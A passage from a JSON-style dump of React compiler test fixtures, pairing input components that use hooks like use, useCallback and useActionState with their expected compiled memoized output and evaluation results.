Inner(props) {\n  const $ = _c(7);\n  let input = null;\n  if (props.cond) {\n    input = use(FooContext);\n  }\n\n  input;\n  let t0;\n  if ($[0] !== input) {\n    t0 = [input];\n    $[0] = input;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const output = t0;\n  let t1;\n  if ($[2] !== input) {\n    t1 = [input];\n    $[2] = input;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== output || $[5] !== t1) {\n    t2 = <ValidateMemoization inputs={t1} output={output} />;\n    $[4] = output;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ cond: true, value: 42 }],\n  sequentialRenders: [\n    // change cond true->false\n    { cond: true, value: 42 },\n    { cond: false, value: 42 },\n\n    // change value\n    { cond: false, value: null },\n    { cond: false, value: 42 },\n\n    // change cond false->true\n    { cond: true, value: 42 },\n\n    // change cond true->false, change unobserved value, change cond false->true\n    { cond: false, value: 42 },\n    { cond: false, value: null },\n    { cond: true, value: 42 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-conditional.js",
    "content": "import {ValidateMemoization} from 'shared-runtime';\nimport {use, useMemo} from 'react';\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  return (\n    <FooContext.Provider value={props.value}>\n      <Inner cond={props.cond} />\n    </FooContext.Provider>\n  );\n}\n\nfunction Inner(props) {\n  let input = null;\n  if (props.cond) {\n    input = use(FooContext);\n  }\n  const output = useMemo(() => [input], [input]);\n  return <ValidateMemoization inputs={[input]} output={output} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{cond: true, value: 42}],\n  sequentialRenders: [\n    // change cond true->false\n    {cond: true, value: 42},\n    {cond: false, value: 42},\n\n    // change value\n    {cond: false, value: null},\n    {cond: false, value: 42},\n\n    // change cond false->true\n    {cond: true, value: 42},\n\n    // change cond true->false, change unobserved value, change cond false->true\n    {cond: false, value: 42},\n    {cond: false, value: null},\n    {cond: true, value: 42},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\nimport * as React from 'react';\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  return (\n    <FooContext.Provider value={props.value}>\n      <Inner />\n    </FooContext.Provider>\n  );\n}\n\nfunction Inner(props) {\n  const input = React.use(FooContext);\n  const output = useMemo(() => [input], [input]);\n  return <ValidateMemoization inputs={[input]} output={output} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: null},\n    {value: 42},\n    {value: 42},\n    {value: null},\n    {value: null},\n    {value: 42},\n    {value: null},\n    {value: 42},\n    {value: null},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { ValidateMemoization } from \"shared-runtime\";\nimport { useMemo } from \"react\";\nimport * as React from \"react\";\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Inner />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  let t1;\n  if ($[1] !== props.value) {\n    t1 = <FooContext.Provider value={props.value}>{t0}</FooContext.Provider>;\n    $[1] = props.value;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  return t1;\n}\n\nfunction Inner(props) {\n  const $ = _c(7);\n  const input = React.use(FooContext);\n  let t0;\n  if ($[0] !== input) {\n    t0 = [input];\n    $[0] = input;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const output = t0;\n  let t1;\n  if ($[2] !== input) {\n    t1 = [input];\n    $[2] = input;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  let t2;\n  if ($[4] !== output || $[5] !== t1) {\n    t2 = <ValidateMemoization inputs={t1} output={output} />;\n    $[4] = output;\n    $[5] = t1;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n  sequentialRenders: [\n    { value: null },\n    { value: 42 },\n    { value: 42 },\n    { value: null },\n    { value: null },\n    { value: 42 },\n    { value: null },\n    { value: 42 },\n    { value: null },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>\n<div>{\"inputs\":[42],\"output\":[42]}</div>\n<div>{\"inputs\":[null],\"output\":[\"[[ cyclic ref *2 ]]\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/use-operator-method-call.js",
    "content": "import {ValidateMemoization} from 'shared-runtime';\nimport {useMemo} from 'react';\nimport * as React from 'react';\n\nconst FooContext = React.createContext(null);\nfunction Component(props) {\n  return (\n    <FooContext.Provider value={props.value}>\n      <Inner />\n    </FooContext.Provider>\n  );\n}\n\nfunction Inner(props) {\n  const input = React.use(FooContext);\n  const output = useMemo(() => [input], [input]);\n  return <ValidateMemoization inputs={[input]} output={output} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n  sequentialRenders: [\n    {value: null},\n    {value: 42},\n    {value: 42},\n    {value: null},\n    {value: null},\n    {value: 42},\n    {value: null},\n    {value: 42},\n    {value: null},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useActionState} from 'react';\n\nfunction Component() {\n  const [actionState, dispatchAction] = useActionState();\n  const onSubmitAction = () => {\n    dispatchAction();\n  };\n  return <Foo onSubmitAction={onSubmitAction} />;\n}\n\nfunction Foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useActionState } from \"react\";\n\nfunction Component() {\n  const $ = _c(1);\n  const [, dispatchAction] = useActionState();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const onSubmitAction = () => {\n      dispatchAction();\n    };\n    t0 = <Foo onSubmitAction={onSubmitAction} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useActionState-dispatch-considered-as-non-reactive.js",
    "content": "import {useActionState} from 'react';\n\nfunction Component() {\n  const [actionState, dispatchAction] = useActionState();\n  const onSubmitAction = () => {\n    dispatchAction();\n  };\n  return <Foo onSubmitAction={onSubmitAction} />;\n}\n\nfunction Foo() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @enableTransitivelyFreezeFunctionExpressions:false\nimport {useCallback} from 'react';\nimport {\n  identity,\n  logValue,\n  makeObject_Primitives,\n  useHook,\n} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n\n  useHook();\n\n  const log = () => {\n    logValue(object);\n  };\n\n  const onClick = useCallback(() => {\n    log();\n  }, [log]);\n\n  identity(object);\n\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees:false @enableTransitivelyFreezeFunctionExpressions:false\nimport { useCallback } from \"react\";\nimport {\n  identity,\n  logValue,\n  makeObject_Primitives,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const object = makeObject_Primitives();\n\n  useHook();\n\n  const log = () => {\n    logValue(object);\n  };\n\n  const onClick = () => {\n    log();\n  };\n\n  identity(object);\n  let t0;\n  if ($[0] !== onClick) {\n    t0 = <div onClick={onClick} />;\n    $[0] = onClick;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-dont-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @enableTransitivelyFreezeFunctionExpressions:false\nimport {useCallback} from 'react';\nimport {\n  identity,\n  logValue,\n  makeObject_Primitives,\n  useHook,\n} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n\n  useHook();\n\n  const log = () => {\n    logValue(object);\n  };\n\n  const onClick = useCallback(() => {\n    log();\n  }, [log]);\n\n  identity(object);\n\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {\n  identity,\n  logValue,\n  makeObject_Primitives,\n  useHook,\n} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n\n  useHook();\n\n  const log = () => {\n    logValue(object);\n  };\n\n  const onClick = useCallback(() => {\n    log();\n  }, [log]);\n\n  identity(object);\n\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\nimport {\n  identity,\n  logValue,\n  makeObject_Primitives,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject_Primitives();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const object = t0;\n\n  useHook();\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = () => {\n      logValue(object);\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const log = t1;\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      log();\n    };\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  const onClick = t2;\n\n  identity(object);\n  let t3;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <div onClick={onClick} />;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-call-second-function-which-captures-maybe-mutable-value-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {\n  identity,\n  logValue,\n  makeObject_Primitives,\n  useHook,\n} from 'shared-runtime';\n\nfunction Component(props) {\n  const object = makeObject_Primitives();\n\n  useHook();\n\n  const log = () => {\n    logValue(object);\n  };\n\n  const onClick = useCallback(() => {\n    log();\n  }, [log]);\n\n  identity(object);\n\n  return <div onClick={onClick} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n  useHook();\n  const callback = useCallback(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n  }, [props.value]);\n\n  mutate(free, part);\n  return callback;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport { useCallback } from \"react\";\nimport {\n  identity,\n  makeObject_Primitives,\n  mutate,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component(props) {\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n  useHook();\n  const callback = () => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n  };\n\n  mutate(free, part);\n  return callback;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false\nimport {useCallback} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n  useHook();\n  const callback = useCallback(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n  }, [props.value]);\n\n  mutate(free, part);\n  return callback;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n  useHook();\n  const callback = useCallback(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n  }, [props.value, free, part]);\n  mutate(free, part);\n  return callback;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useCallback } from \"react\";\nimport {\n  identity,\n  makeObject_Primitives,\n  mutate,\n  useHook,\n} from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = makeObject_Primitives();\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const free = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = makeObject_Primitives();\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const free2 = t1;\n  const part = free2.part;\n  useHook();\n  let t2;\n  if ($[2] !== props.value) {\n    t2 = () => {\n      const x = makeObject_Primitives();\n      x.value = props.value;\n      mutate(x, free, part);\n    };\n    $[2] = props.value;\n    $[3] = t2;\n  } else {\n    t2 = $[3];\n  }\n  const callback = t2;\n\n  mutate(free, part);\n  return callback;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) \"[[ function params=0 ]]\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback} from 'react';\nimport {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const free = makeObject_Primitives();\n  const free2 = makeObject_Primitives();\n  const part = free2.part;\n  useHook();\n  const callback = useCallback(() => {\n    const x = makeObject_Primitives();\n    x.value = props.value;\n    mutate(x, free, part);\n  }, [props.value, free, part]);\n  mutate(free, part);\n  return callback;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  const onReset = useCallback(() => {\n    ref.current.inner = null;\n  });\n\n  return <input onChange={onChange} onReset={onReset} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useCallback, useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { inner: null };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const ref = useRef(t0);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (event) => {\n      ref.current.inner = event.target.value;\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const onChange = t1;\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = () => {\n      ref.current.inner = null;\n    };\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  const onReset = t2;\n  let t3;\n  if ($[3] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <input onChange={onChange} onReset={onReset} />;\n    $[3] = t3;\n  } else {\n    t3 = $[3];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  const onReset = useCallback(() => {\n    ref.current.inner = null;\n  });\n\n  return <input onChange={onChange} onReset={onReset} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.expect.md",
    "content": "\n## Input\n\n```javascript\n// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\ncomponent Foo() {\n  const ref = useRef();\n\n  const s = useCallback(() => {\n    return ref.current;\n  });\n\n  return <A r={s} />;\n}\n\ncomponent A(r: mixed) {\n  return <div />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useCallback, useRef } from \"react\";\n\nfunction Foo() {\n  const $ = _c(2);\n  const ref = useRef();\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => ref.current;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const s = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <A r={s} />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction A(t0) {\n  const $ = _c(1);\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <div />;\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.js",
    "content": "// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\ncomponent Foo() {\n  const ref = useRef();\n\n  const s = useCallback(() => {\n    return ref.current;\n  });\n\n  return <A r={s} />;\n}\n\ncomponent A(r: mixed) {\n  return <div />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useCallback, useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(3);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = { inner: null };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const ref = useRef(t0);\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = (event) => {\n      ref.current.inner = event.target.value;\n    };\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  const onChange = t1;\n  let t2;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = <input onChange={onChange} />;\n    $[2] = t2;\n  } else {\n    t2 = $[2];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.js",
    "content": "// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useCallback, useRef} from 'react';\n\n// Identical to useCallback-set-ref-nested-property-preserve-memoization,\n// but with a different set of compiler flags\nfunction Component({}) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useCallback, useRef } from \"react\";\n\n// Identical to useCallback-set-ref-nested-property-preserve-memoization,\n// but with a different set of compiler flags\nfunction Component(t0) {\n  const $ = _c(3);\n  let t1;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = { inner: null };\n    $[0] = t1;\n  } else {\n    t1 = $[0];\n  }\n  const ref = useRef(t1);\n  let t2;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t2 = (event) => {\n      ref.current.inner = event.target.value;\n    };\n    $[1] = t2;\n  } else {\n    t2 = $[1];\n  }\n  const onChange = t2;\n  let t3;\n  if ($[2] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t3 = <input onChange={onChange} />;\n    $[2] = t3;\n  } else {\n    t3 = $[2];\n  }\n  return t3;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.js",
    "content": "import {useCallback, useRef} from 'react';\n\n// Identical to useCallback-set-ref-nested-property-preserve-memoization,\n// but with a different set of compiler flags\nfunction Component({}) {\n  const ref = useRef({inner: null});\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current.inner = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enablePreserveExistingMemoizationGuarantees\nimport {useCallback, useRef} from 'react';\n\nfunction Component(props) {\n  const ref = useRef(null);\n\n  const onChange = useCallback(event => {\n    // The ref should still be mutable here even though function deps are frozen in\n    // @enablePreserveExistingMemoizationGuarantees mode\n    ref.current = event.target.value;\n  });\n\n  return <input onChange={onChange} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @enablePreserveExistingMemoizationGuarantees\nimport { useCallback, useRef } from \"react\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  const ref = useRef(null);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = (event) => {\n      ref.current = event.target.value;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onChange = t0;\n  let t1;\n  if ($[1] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t1 = <input onChange={onChange} />;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <input>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.js",
